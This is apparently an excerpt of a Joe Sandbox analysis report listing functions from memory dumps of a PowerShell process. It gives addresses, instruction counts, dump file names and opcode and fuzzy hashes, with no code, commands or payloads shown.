                                                            • Instruction ID: 35034e0f9abcee32d19a11b8b4af3eccbd1f4d32473f74575d421d32319aa816
                                                            • Opcode Fuzzy Hash: 8badc1b09f58d9413d12b76a1ae5ea892da2886bc576e551765aeb5fd7bda382
                                                            • Instruction Fuzzy Hash: 98316D74A002059FCB18DF69D498A9EBBF6FF48314F04416AD406EB390DF74AC85CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349AD38 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8d109c1a1552da44aed2fc917360b35e3ef9c5e785756f52659c7a230a2923ac
                                                            • Instruction ID: f6f9348027e34aea1253dec169fbfc8f960234bebabcd7ba2314ace103010ba6
                                                            • Opcode Fuzzy Hash: 8d109c1a1552da44aed2fc917360b35e3ef9c5e785756f52659c7a230a2923ac
                                                            • Instruction Fuzzy Hash: 263152B8E002099FDB04EF64D894AEEB7B2EF84300F118469D615AF394DB39ED418F90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 033BF3D8 Relevance: .1, Instructions: 76COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156223228.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_33bd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: bab854e4f3c742ce0674749c192eed479ea300dc109ddf85124a92b44209f97b
                                                            • Instruction ID: 5cc88735f265886eabb439e88a86d7b3eb37e2a6cb036b9c253e051510074e63
                                                            • Opcode Fuzzy Hash: bab854e4f3c742ce0674749c192eed479ea300dc109ddf85124a92b44209f97b
                                                            • Instruction Fuzzy Hash: 1621F471508200EFCB05DF14DDC0B66BF79FB88314F24C5A9EA094AA56C336D496CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 033BF02C Relevance: .1, Instructions: 72COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156223228.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_33bd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b819726489bdb480598633db171fe7880bddeaaf196ba3ae5cd1f679ff1d257f
                                                            • Instruction ID: 4692b79d22a42a58998fee158373c89e66fb1401a4c3608298b00651f59b7cdf
                                                            • Opcode Fuzzy Hash: b819726489bdb480598633db171fe7880bddeaaf196ba3ae5cd1f679ff1d257f
                                                            • Instruction Fuzzy Hash: 25213475504200DFCB10DF24CDC0B66BFB9EB84314F24C6ADDA094BA66C33AD446CA61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03499400 Relevance: .1, Instructions: 69COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 815d618b01b52cd16970edf03d8c8b823d45e99a25ef7287b4629f84965a708e
                                                            • Instruction ID: 680eb8cedb30791ce10fbb46275b867be79a50628e9128007453e73a88eb2d4e
                                                            • Opcode Fuzzy Hash: 815d618b01b52cd16970edf03d8c8b823d45e99a25ef7287b4629f84965a708e
                                                            • Instruction Fuzzy Hash: 352157719057448EEB60CF6AC0883CAFFF6EB88320F28C46ED85D9B245D77464818B65
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349767C Relevance: .1, Instructions: 62COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c32f5c79c845d280c1fb6894a07590329810175736435a88e38b9b5c3ef1f232
                                                            • Instruction ID: f216dcd380c2ff4524e06077f978252dfc92a3bb3bc4db5867d7671e3359bedc
                                                            • Opcode Fuzzy Hash: c32f5c79c845d280c1fb6894a07590329810175736435a88e38b9b5c3ef1f232
                                                            • Instruction Fuzzy Hash: 6B1130397001288FCF14DBACD940AEE7BFAEBC8221B0440A6E509EB765DB35DC11CB90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349DD0F Relevance: .1, Instructions: 61COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7eaf1860c5f5b6fa526674c267a0519dda2194c6e9613605c3cc434cb08284d0
                                                            • Instruction ID: 6cc5cfc3c11153d6b6a66f8ee4a0aedc8355fc79a83f9a2b52b7d4b28466bc0a
                                                            • Opcode Fuzzy Hash: 7eaf1860c5f5b6fa526674c267a0519dda2194c6e9613605c3cc434cb08284d0
                                                            • Instruction Fuzzy Hash: 58012635A042149FDF09DA5EDC148DAFFAADFCA23170480BBE919DF341DF21980686E8
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07B81990 Relevance: .1, Instructions: 58COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2187563226.0000000007B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B80000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_7b80000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a532f7bf4d3b2fdc5aeabfcb2b2f6b914e3d458ec86436f5c11032dadb2ef5a9
                                                            • Instruction ID: 8489746cbe612f678891958c16a963a5e3ebf78f3f117c9e0612b4a3efd143af
                                                            • Opcode Fuzzy Hash: a532f7bf4d3b2fdc5aeabfcb2b2f6b914e3d458ec86436f5c11032dadb2ef5a9
                                                            • Instruction Fuzzy Hash: 7D11B2F1A0221EDFEBA0EF5DC580B66B7E1EB45211F0481FAE5149B211D730D943CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 033BF3D3 Relevance: .1, Instructions: 57COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156223228.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_33bd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
                                                            • Instruction ID: 1a151d2d9b41c915bf96aec3474cfcb345b8b73afab6b61b4bec34071eba410b
                                                            • Opcode Fuzzy Hash: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
                                                            • Instruction Fuzzy Hash: 1F219D76508240DFCF06CF10D9C4B56BF72FB88314F28C5A9D9494A656C33AD4AACB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349BCE0 Relevance: .1, Instructions: 53COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0407a1c1089346610d7d343df738728fb304bef612b70b1d2d959d94e2bf6803
                                                            • Instruction ID: ad84fa2088b5cd2b9126284e99fa450d2ac0ad78e63940e00ff062e516489e1f
                                                            • Opcode Fuzzy Hash: 0407a1c1089346610d7d343df738728fb304bef612b70b1d2d959d94e2bf6803
                                                            • Instruction Fuzzy Hash: CD11C8316083449FDB18CB75E4949567FE5EF45210F2484EFD08ECB666DA71EC46C701
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 033BF027 Relevance: .1, Instructions: 53COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156223228.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_33bd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e9867b41209b1ae96989907f61c5f808f60e730aab7477091df5884716147213
                                                            • Instruction ID: 62c66df1bab241c124d9a60ae94148f524eeb5816a1b2dc5be77d571043bb481
                                                            • Opcode Fuzzy Hash: e9867b41209b1ae96989907f61c5f808f60e730aab7477091df5884716147213
                                                            • Instruction Fuzzy Hash: B111DD79504280CFCB11CF24D9C4B55FFB1FB84328F28C6AAD9094BA66C33AD44ACB61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349DD60 Relevance: .1, Instructions: 51COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9287bb1a73c4f9438f9f4ef155d1f3dee6847e1e228a78ce136c3daff72f2086
                                                            • Instruction ID: a05e6b44e992199030e48c1f9396577da6046dee162632af5b93140ffb4cea7b
                                                            • Opcode Fuzzy Hash: 9287bb1a73c4f9438f9f4ef155d1f3dee6847e1e228a78ce136c3daff72f2086
                                                            • Instruction Fuzzy Hash: CC012635A045489FDF09DBA8E8454ECBFB1DFCA220B08817BD5519B365DA315C13CBA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349DF20 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c8ab3bcdc19a6f8f64a0169bf896ff96dfd77ad447a8ad6c44d4d1d8c5d26bda
                                                            • Instruction ID: 5f2c4ea9497440c4276b6c72e6b94e6d3a4b44dbb937dbb1a91bcdd94ce64b52
                                                            • Opcode Fuzzy Hash: c8ab3bcdc19a6f8f64a0169bf896ff96dfd77ad447a8ad6c44d4d1d8c5d26bda
                                                            • Instruction Fuzzy Hash: D301B535B00214CFCB159F74E808AAEBBF5FB89315F04406DE50AD3346DB315902CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349DC98 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 0ab429d9fcdc3e254e8301299bc3024e9e5f1204c81669a8a66c69e10cc5372f
                                                            • Instruction ID: aafbfab92b3fd68346dfc00cc0f6b36ddfb24b2dd15d712e4f6c84694257bb95
                                                            • Opcode Fuzzy Hash: 0ab429d9fcdc3e254e8301299bc3024e9e5f1204c81669a8a66c69e10cc5372f
                                                            • Instruction Fuzzy Hash: 2F110935204750CFC728DF75D09085ABBF6EF8921532489ADD44A8B7A1CB36FC46CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 034990CF Relevance: .0, Instructions: 47COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d55f8c760b5b233dea98d9f811a7f69d5d9738f95513dbf707806914865b5b7e
                                                            • Instruction ID: bf1df5607aabaa34c4163962fe2375696d91af4c993fb3804d1910b96b2bf0a5
                                                            • Opcode Fuzzy Hash: d55f8c760b5b233dea98d9f811a7f69d5d9738f95513dbf707806914865b5b7e
                                                            • Instruction Fuzzy Hash: 310145766082405FE7069B25C4693DA3F65DB82224F1480EFC2198F292CE391803C7A5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 033BD006 Relevance: .0, Instructions: 47COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156223228.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_33bd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d9a3df2f3d52de6f57e11194b415dec88136e8a2a13afeb7e5c28de7ce9e6f1b
                                                            • Instruction ID: e1966a4fbcb6ee532c0f84095b2c6aa981ecea157f90338fde7a26661a3de45a
                                                            • Opcode Fuzzy Hash: d9a3df2f3d52de6f57e11194b415dec88136e8a2a13afeb7e5c28de7ce9e6f1b
                                                            • Instruction Fuzzy Hash: 7201297140D3809FD7128B258C94792BFB8EF53224F1984DBE9888F5A7C2799C45CB72
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 033BD01D Relevance: .0, Instructions: 45COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156223228.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_33bd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e7899c16151c0aab82fd6abd54677d93a251a0ee8a77e4c7cee189abce60f575
                                                            • Instruction ID: c158ff172b3a0a682ab0e1c0931d20206a4499ea3eaae70e68653ba9fe5c2790
                                                            • Opcode Fuzzy Hash: e7899c16151c0aab82fd6abd54677d93a251a0ee8a77e4c7cee189abce60f575
                                                            • Instruction Fuzzy Hash: D801DF31009300AAE7108E29CDC4BA7FFACEF41324F0CC46AEE080AA46C67D9941CAB1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349BF10 Relevance: .0, Instructions: 44COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 70c709072183523f98c04f076b2ad004363d1ea7475e01b438f8282ccc437fbb
                                                            • Instruction ID: bf6107e3926b4b69704c17283ac9e15fa6cd9cb12a50949beaaf31ecf15e9d1c
                                                            • Opcode Fuzzy Hash: 70c709072183523f98c04f076b2ad004363d1ea7475e01b438f8282ccc437fbb
                                                            • Instruction Fuzzy Hash: 7FF0A4313093A15FD7218AB99C509B7BFE9DBC665070940ABF954CB352C670C9058760
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497958 Relevance: .0, Instructions: 38COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 93ffa6f0ffa0b883745dd7543a9f159c133605fe136be7a8613b2e8a0fad7b57
                                                            • Instruction ID: 40072898436da5bcb7134e6e5ea0a2a37ff9c35969b3442f005de55aa80b1a14
                                                            • Opcode Fuzzy Hash: 93ffa6f0ffa0b883745dd7543a9f159c133605fe136be7a8613b2e8a0fad7b57
                                                            • Instruction Fuzzy Hash: 09F0F6316043149FDB10DB69E884AAF7FE9EB89230F10456ED04AC7350DE345845CBA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349DEC1 Relevance: .0, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 68d91ea441a42196482bb936c1d77b1d9ed2a1b3e714a5f0c06a0c3ce8c3d29f
                                                            • Instruction ID: f9620485e381a221fe64bea6c0d8663160d072159b0d8093f77c54bf2e50bc9c
                                                            • Opcode Fuzzy Hash: 68d91ea441a42196482bb936c1d77b1d9ed2a1b3e714a5f0c06a0c3ce8c3d29f
                                                            • Instruction Fuzzy Hash: B2F09A357056414FCB01CB2CD09886ABFE69FDB61132900ABE545CF332CA60DC028B54
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 033BD9A7 Relevance: .0, Instructions: 37COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156223228.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_33bd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6c16bb639ea7ab187ee113e35ed87d3af686bb804354af04f019685614db1080
                                                            • Instruction ID: c85b83edadea21c69bd55c4fecb9f8f341d4018dd16fff81b24b8e55475de2d7
                                                            • Opcode Fuzzy Hash: 6c16bb639ea7ab187ee113e35ed87d3af686bb804354af04f019685614db1080
                                                            • Instruction Fuzzy Hash: BCF0F976200604AFD720CF0AD985C67FBBDEBD4670719C56AE94A4BA16C671EC41CEA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03499158 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7332a8d20eecbcda9e9d937bd8fa2f023590f4500d420280976f9dc7e76f255f
                                                            • Instruction ID: f3efd41dd0dbb0cac72d97413fdcb52420f5a8d5106cd3dfcd61155ae7b478c3
                                                            • Opcode Fuzzy Hash: 7332a8d20eecbcda9e9d937bd8fa2f023590f4500d420280976f9dc7e76f255f
                                                            • Instruction Fuzzy Hash: F2F090359053005FE710DB78D4AD39ABFA4EB02210F08849FD2ADCB292DB366C82C791
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497968 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b35aa9ecde44188f7f15f3ec094231cd2dee6da21be2a450bb8feb7957ee7f6a
                                                            • Instruction ID: 75c80865515ef5f21b8d3de63339d7ef4c8b67bade25d4934deb112e40df4e6b
                                                            • Opcode Fuzzy Hash: b35aa9ecde44188f7f15f3ec094231cd2dee6da21be2a450bb8feb7957ee7f6a
                                                            • Instruction Fuzzy Hash: 43F082317007149FDB109A5AE844A6FBBEEEB89271B00056EE14AC7350DE30AC4187A4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 033BD998 Relevance: .0, Instructions: 33COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156223228.00000000033BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 033BD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_33bd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ce7bd59d4cd52501c9b172d96351fd9f5c7834640dbd7055d4488ced425fcb3d
                                                            • Instruction ID: 7c9a11209414aba3dc8bc73977a41e1f59c8322fc92391d654c9fec26960c226
                                                            • Opcode Fuzzy Hash: ce7bd59d4cd52501c9b172d96351fd9f5c7834640dbd7055d4488ced425fcb3d
                                                            • Instruction Fuzzy Hash: 1EF01D75104640EFD725CF06CD85D63BBB9EB85660B198499F85A5B712C631FC42CF60
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 034990E8 Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 476735808172f4c6a7f32b389286b8ffa3e2ebdc5af16a3ab33c9dda4e98a65c
                                                            • Instruction ID: d468d2b4df67824d2a70015e07cba34e1e0b30eebe8055602225ac28eaba03b8
                                                            • Opcode Fuzzy Hash: 476735808172f4c6a7f32b389286b8ffa3e2ebdc5af16a3ab33c9dda4e98a65c
                                                            • Instruction Fuzzy Hash: AEF02739A042045BE700AB69C0683EF77A6DBC1328F10817ECA1A4B388CE396842C7F1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03497697 Relevance: .0, Instructions: 31COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fe33286a9cb5008120636f5322dd63931f78f8735ba2f409ceb75cc64342902a
                                                            • Instruction ID: d536323a0c4b91503fc62bf1eced0453b0fd34e7e2f9742039db3adcad6f66a4
                                                            • Opcode Fuzzy Hash: fe33286a9cb5008120636f5322dd63931f78f8735ba2f409ceb75cc64342902a
                                                            • Instruction Fuzzy Hash: A0F0A7397001248FDF20D76C9840A9A7FE6EBC92657094196EA09DF764DE74CC018B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349DED0 Relevance: .0, Instructions: 30COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5fb4c2f5fe852bf79f391ff9546b9c9e45d2509160e490781d39faad468b54b3
                                                            • Instruction ID: 17d640c959371be0da0613a0f9b50f873869885016431546805fb8421c3583ab
                                                            • Opcode Fuzzy Hash: 5fb4c2f5fe852bf79f391ff9546b9c9e45d2509160e490781d39faad468b54b3
                                                            • Instruction Fuzzy Hash: 31E065357001018F8A00DB1DD498C26BBEAEFCEA2132900AAF549DF334CA61EC018B94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0349AF88 Relevance: .0, Instructions: 29COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ee92d398d10d2121cddc62ab4cded2e9b28cb818d61ce8e468bf5b20e13411d8
                                                            • Instruction ID: c6fed035e3713e80888bb379ee16b8e7d6ae4a951776e49ed85b37681bd7059f
                                                            • Opcode Fuzzy Hash: ee92d398d10d2121cddc62ab4cded2e9b28cb818d61ce8e468bf5b20e13411d8
                                                            • Instruction Fuzzy Hash: 7FE0D8623083911FDF1AC12E6C15066EF6B8EC302030C40FBE144CF35AEC1188064398
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03499549 Relevance: .0, Instructions: 26COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7ff1f1f8b6ab80c910b3ab15d15252251e052660ef1fecfa62be3bb8b97c7d3c
                                                            • Instruction ID: 61066132cf3619a5c403e5013107d612af9c0b66b5bbdffe9df64ca1cad00c7f
                                                            • Opcode Fuzzy Hash: 7ff1f1f8b6ab80c910b3ab15d15252251e052660ef1fecfa62be3bb8b97c7d3c
                                                            • Instruction Fuzzy Hash: 77E0461A7012A51BAD94A1AA88606B7B98A8AD20A5308017F9A08CF306EE14C80243F9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03498973 Relevance: .0, Instructions: 26COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 515e193b389c3defb9772f336ec752913d364089c0470524f098a4e3297699d6
                                                            • Instruction ID: 27cd9392745f774c28c33781aa1d347b1c7548e2e860a56d7a12ce237a6848ce
                                                            • Opcode Fuzzy Hash: 515e193b389c3defb9772f336ec752913d364089c0470524f098a4e3297699d6
                                                            • Instruction Fuzzy Hash: 1DE0D83571471467CB097775940C2EE7A66EBC4725F04402FD61A87346DF394817C3D9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03499168 Relevance: .0, Instructions: 25COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 0000000B.00000002.2156904252.0000000003490000.00000040.00000800.00020000.00000000.sdmp, Offset: 03490000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_11_2_3490000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e667ee34a4d8b91ee1f91cc029eb21f7c4022894102d00fca7440c26606a5d73
                                                            • Instruction ID: 42a8e01da4f17a2f044b3994a5beccc2c21f3045e933c620fee6613df53d71a0
                                                            • Opcode Fuzzy Hash: e667ee34a4d8b91ee1f91cc029eb21f7c4022894102d00fca7440c26606a5d73
                                                            • Instruction Fuzzy Hash: D6F06D709003045FE760EF78D49C39ABBE9FB44320F00446ED25EC7341DB39A8818B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

